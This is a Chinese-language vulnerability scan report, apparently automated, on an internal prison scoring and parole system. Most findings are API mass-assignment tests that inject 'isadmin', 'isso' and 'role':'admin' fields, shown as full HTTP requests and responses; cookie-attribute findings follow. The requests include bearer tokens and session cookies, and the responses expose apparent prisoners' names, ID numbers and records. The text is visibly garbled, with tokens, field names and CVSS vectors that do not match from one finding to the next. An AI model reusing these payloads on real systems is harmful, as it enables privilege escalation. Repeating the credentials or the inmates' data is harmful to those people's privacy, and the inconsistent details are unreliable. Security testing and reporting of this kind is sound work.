CVSS 向量: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/ALE:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MAX

URL: https://10.249.2.1:8090/admin-api/chain/jfkh/page

实体: page (Page)

风险: API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制

原因: 如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。

固定值: 避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异: 主体 从以下位置进行控制: {"yjlz":1,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tcjy":"","tqrq":"","tqrqe":"","hyjg":""}

至: {"yjlz":1,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tcjy":"","tqrq":"","tqrqe":"","hyjg":"","isadmin":true,"issso":true,"role":"admin"}

推理: 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应:

```
POST /admin-api/chain/jfkh/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf1f8a1731d4e
sec-ch-ua: "Not (A:Brand);v=8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
```

```
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires
Accept-Language: en-US
Content-Length: 143
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhpmx0p5504.node0

{
  "yjlb": 1,
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "nd": "",
  "tgjy": "",
  "tgrqs": "",
  "tgrqe": "",
  "hyjg": "",
  "isadmin": true,
  "isso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:05 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0xyooyzcntpkw3lenn8dwbb9813399.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "jxId": "1538543733958516736",
        "yjlb": "1",
        "hyjg": "3",
        "createTime": 1764929896418,
        "ckId": null,
        "id": "02D767F8067EB21153B0196C665C8177",
        "rs": 17,
        "tgjy": "深圳监狱",
        "nd": "2025",
        "tgrq": null,
        "khzr": 1759161600000,
        "yxqsrq": 1769875200000,
        "pch": "202505"
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

API 成批分配

严重性： **高**

CVSS 分数： 7.3

CVSS 向量： AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X

URL: <https://10.249.2.1:8090/admin-api/chain/jfkh-mc/page>

实体： page (Page)

风险： API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制

原因： 如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。

固定值： 避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： `{"yjId":"","pageNo":1,"pageSize":10,"zfbh":"","xm":"","jqmc":"","ah":"","hyjg":""}` 至：
`{"yjId":"","pageNo":1,"pageSize":10,"zfbh":"","xm":"","jqmc":"","ah":"","hyjg":"","isadmin":true,"isso":true,"role":"admin"}`

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/jfkh-mc/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 125
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0
```

```
{
  "yjId": "",
  "pageNo": 1,
  "pageSize": 10,
  "zfbh": "",
  "xm": "",
  "jqmc": "",
  "ah": "",
  "hyjg": "",
  "isadmin": true,
  "isso": true,
  "role": "admin"
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:10 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node019tkiy2fb1v4c19up9hnsqpy813597.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "list": [
    ],
    "total": 0
  },
  "msg": ""
}
```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MAX
URL：	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/page
实体：	page (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： {"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","pzrq":"","pzrqe":"","jflb":""} 至： {"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","pzrq":"","pzrqe":"","jflb":"","isadmin":true,"isso":true,"role":"admin"}

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/zf-kh-jkf/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/scoreRegistration/dailyScore/index
Accept-Language: en-US
Content-Length: 134
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbh": "",
  "xm": "",
  "pzrq": "",
  "pzrqe": "",
  "jflb": "",
  "isadmin": true,
  "isso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:23 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01o7m79xtz3tgzhj27e4lkmw5513989.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "zfbh": "4463028403",
        "lydw": null,
        "pzrq": "2025-02-17 00:00:00",
```

```

"khgf": null,
"jflb": "1",
"khlb": null,
"ez": 3,
"jkfy": null,
"yjt": null,
"pch": "202505",
"qklId": null,
"createTime": null,
"ksrq": null,
"jsrq": null,
"id": "34E29586425C4B958A2C832CEF9A74664463",
"sm": "林耀彬",
"gyjy": "深圳监狱",
"jqmc": "医院 1 分",
"khny": null,
"chr": null
},
{
  "zfbh": "4463028403",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "ez": 3,
  "jkfy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "D33C93EE8ED94008B774925DC2F6A9944463",
  "sm": "林耀彬",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "chr": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "ez": 3,
  "jkfy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "049AF53E22DF496793AC18FF0982CF104463",
  "sm": "林泗超",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "chr": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "ez": 4,
  "jkfy": null,
  "yjt": null,
  "pch": "202505",
  "qklId": null,
  "createTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "BA562929C83C418797F8BAA7A721F0AC4463",
  "sm": "林泗超",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "chr": null
},
{
  "zfbh": "4463040538",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "ez": 3,
  "jkfy": null,

```

```
"yjtK": null,
"pch": "202505",
"qkId": null,
"createTime": null,
"ksrq": null,
"jsrq": null,
"id": "64B39D1E0D8E4AFTB60390ACBDD8DDE84463",
"sm": "林酒超",
"gyjy": "深圳监狱",
"jqmc": "医院 1 分",
"khny": null,
"KHR": null
},
{
  "zfbh": "4463042931",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 3,
  "jkfyy": null,
  "yjtK": null,
  "pch": "202505",
  "qkId": null,
  "createTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "12F62094E15A4D28A93F0EC0FF2959714463",
  "sm": "田育健",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "KHR": null
},
{
  "zfbh": "4463042931",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  "khgf": null,
  "jflb": "1",
  "khlb": null,
  "fz": 3,
  "jkfyy": null,
  "yjtK": null,
  "pch": "202505",
  "qkId": null,
  "createTime": null,
  "ksrq": null,
  "jsrq": null,
  "id": "B1C920EA7AB64330AFAAB00322A9112D4463",
  "sm": "田育健",
  "gyjy": "深圳监狱",
  "jqmc": "医院 1 分",
  "khny": null,
  "KHR": null
},
{
  "zfbh": "4463042931",
  "lydw": null,
  "pzrq": "2025-02-17 00:00:00",
  ...
  ...
  ...
}
```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/jx/page
实体：	page (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： {"lb":1,"pageNo":1,"pageSize":10,"pch":"202505","tqrqs":"","tqrqe":"","tgjy":"","nd":""} 至：
{"lb":1,"pageNo":1,"pageSize":10,"pch":"202505","tqrqs":"","tqrqe":"","tgjy":"","nd":"","isadmin":true,"isso":true,"role":"admin"}

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/jx/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff9b9b11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/reduce/index
Accept-Language: en-US
Content-Length: 131
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0
```

```
{
  "lb": 1,
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "tqrqs": "",
  "tqrqe": "",
  "tgjy": "",
  "nd": "",
  "isadmin": true,
  "isso": true,
  "role": "admin"
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:24 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node011188ozb97d0z1vt0usij0nfjy14012.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "list": [
      {
        "tgjy": "深圳监狱",
        "nd": "2025",
        "tqrq": null,
        "khzr": "2025-09-30 00:00:00",
        "yxqsqr": "2026-02-01 00:00:00",
        "pch": "202505",
        "gklId": "b1f5d676eb8afcb79b1d23b53fd732eb4d268db4fcbac3967a4e755f87391b4",
        "createTime": 1762478060359,
        "id": "1538543733958516736",
        "rs": 13
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

API 成批分配

严重性： **高**

CVSS 分数： 7.3

CVSS 向量： **AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X**

URL: **https://10.249.2.1:8090/admin-api/chain/jfkh-jg/listByYjmcIdOrYjId**

实体： **listByYjmcIdOrYjId (Page)**

风险： **API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制**

原因： **如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。**

固定值： **避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。**

差异： 主体 从以下位置进行控制： **{ "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E", "yjId": "02D767F8067EB21153B0196C665C8177" }** 至：
{ "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E", "yjId": "02D767F8067EB21153B0196C665C8177", "isAdmin": true, "isso": true, "role": "admin" }

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/jfkh-jg/listByYjmcIdOrYjId HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 130
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmxy0p5504.node0
```

```
{
  "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "isAdmin": true,
  "isso": true,
  "role": "admin"
}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:18 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0lunwp3rvxjhuwlrrd8atkqezmml3812.node0; Path=/
```

```
{
  "code": 0,
  "data": [
    {
      "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E",
      "clmc": "计分考核存证材料未存证",
      "gcjd": null,
      "code": null,
      "hyjg": "3",
      "createTime": 1766373898981,
      "qklId": null,
      "yjId": "02D767F8067EB21153B0196C665C8177",
      "zfbh": null,
      "xm": null,
      "pzrq": null,
      "ksrq": null,
      "jsrq": null,
      "id": "7e8d7412-01a0-425b-bb4b-1ce83c16584c"
    }
  ]
}
```



```
}  
},  
"msg": ""  
}
```

API 成批分配

严重性: 高

CVSS 分数: 7.3

CVSS 向量: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MAX

URL: <https://10.249.2.1:8090/admin-api/chain/jxs/page>

实体: page (Page)

风险: API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制

原因: 如果 API 端点自动将提供数据的客户机转换为内部对象属性, 而不考虑这些属性的敏感度和暴露水平, 则 API 端点容易受到成批分配攻击。

固定值: 避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用, 请为输入数据有效内容明确定义并实施模式。

差异: 主体 从以下位置进行控制: `{"lb":2,"yjlb":4,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tcjy":"","tqrqs":"","tqrqe":"","hyjg":""}` 至:`{"lb":2,"yjlb":4,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tcjy":"","tqrqs":"","tqrqe":"","hyjg":"","isadmin":true,"isso":true,"role":"admin"}`

推理: 测试结果似乎指示存在漏洞, 因为测试响应成功 (返回 200 OK), 这表明应用程序/API 访问成功。

测试请求和响应:

```
POST /admin-api/chain/jxs/page HTTP/1.1  
Host: 10.249.2.1:8090  
Connection: keep-alive  
sec-ch-ua-platform: "Windows"  
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e  
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0  
Accept: application/json, text/plain, */*  
Content-Type: application/json; charset=UTF-8  
tenant-id: 1  
Origin: https://10.249.2.1:8090  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://10.249.2.1:8090/smartContracts/parole/clcs  
Accept-Language: en-US  
Content-Length: 150  
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhpmxy0p5504.node0
```

```
{  
  "lb": 2,  
  "yjlb": 4,  
  "pageNo": 1,  
  "pageSize": 10,  
  "pch": "202505",  
  "nd": "",  
  "tcjy": "",  
  "tqrqs": "",  
  "tqrqe": "",  
  "hyjg": "",  
  "isadmin": true,  
  "isso": true,  
  "role": "admin"  
}
```

```
HTTP/1.1 200 OK  
Server: nginx/1.27.2  
Date: Tue, 17 Mar 2026 02:35:20 GMT  
Content-Type: application/json  
Transfer-Encoding: chunked  
Access-Control-Allow-Methods: *  
Access-Control-Allow-Headers: *  
Access-Control-Max-Age: 3600L  
Vary: Origin  
Vary: Access-Control-Request-Method  
Vary: Access-Control-Request-Headers  
Access-Control-Allow-Credentials: true  
trace-id:  
Expires: Thu, 01 Jan 1970 00:00:00 GMT  
X-Content-Type-Options: nosniff
```

```
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01u30vzim9vewoldb9hrsdyfaky13874.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "list": [
      {
        "jxId": "1538543733958516736",
        "yjl": "4",
        "lb": "2",
        "hyjg": null,
        "createTime": 1764929896170,
        "qklId": null,
        "id": "930042F8067EB211C2A3725453139C46",
        "rs": 4,
        "tcjy": "深圳监狱",
        "nd": "2025",
        "tgrq": null,
        "khzr": 1759161600000,
        "yxqsrq": 1769875200000,
        "pch": "202505"
      }
    ],
    "total": 1
  },
  "msg": ""
}
```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MAX
URL：	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/page
实体：	page (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： `{ "pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","bcjy":"","clzt":"","yjl":"roles":"sfj_admin","pzrqs":"","pzrqe":""}` 至：
`{ "pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","bcjy":"","clzt":"","yjl":"roles":"sfj_admin","pzrqs":"","pzrqe":"","isadmin":true,"issso":true,"role":"admin"}`

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/jfkh-gz/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/score
Accept-Language: en-US
Content-Length: 174
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbh": "",

```

```
"xm": "",
"bgjy": "",
"clzt": "",
"yjlb": "",
"roles": "sfj_admin",
"pzrqs": "",
"pzrqe": "",
"isadmin": true,
"isso": true,
"role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:35:20 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0w8fryggssqupaoznurjck7al3882.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [

    ],
    "total": 0
  },
  "msg": ""
}
```

具有不安全、不正确或缺少 SameSite 属性的 Cookie	
严重性：	中
CVSS 分数：	4.7
CVSS 向量：	AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N/E:U/RL:O/RC:C/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体：	JSESSIONID (Cookie)
风险：	通过将 Cookie 限制为第一方或同一站点上下文来防止 Cookie 信息泄漏，如果没有额外的保护措施（如反 CSRF 令牌），攻击可能会扩展为跨站点请求伪造 (CSRF) 攻击。
原因：	具有不正确、不安全或缺少 SameSite 属性的敏感 Cookie
固定值：	查看将 SameSite Cookie 属性配置为推荐值的可能解决方案

差异：

推理： 响应包含不安全、不正确或缺少 SameSite 属性的敏感 Cookie，这可能会导致 Cookie 信息泄露，如果没有额外的保护措施，可能会扩展为跨站点请求伪造 (CSRF) 攻击。

测试请求和响应：

```
GET /admin-api/system/auth/sso-userinfo HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
skipAuthCheck: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:26:14 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node012d4h9444gtr615cxfft5ehl5d6453.node0; Path=/

{
  "code": 401,
  "data": null,
  "msg": "未登录或登录已过期，请重新登录"
}
```

问题 1 / 1

TOC

加密会话（SSL）Cookie 中缺少 Secure 属性	
严重性：	中
CVSS 分数：	6.5
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	JSESSIONID (Cookie)
风险：	可能会窃取在加密的会话期间发送的用户和会话信息（cookie）
原因：	Web 应用程序通过 SSL 发送不安全的 cookie
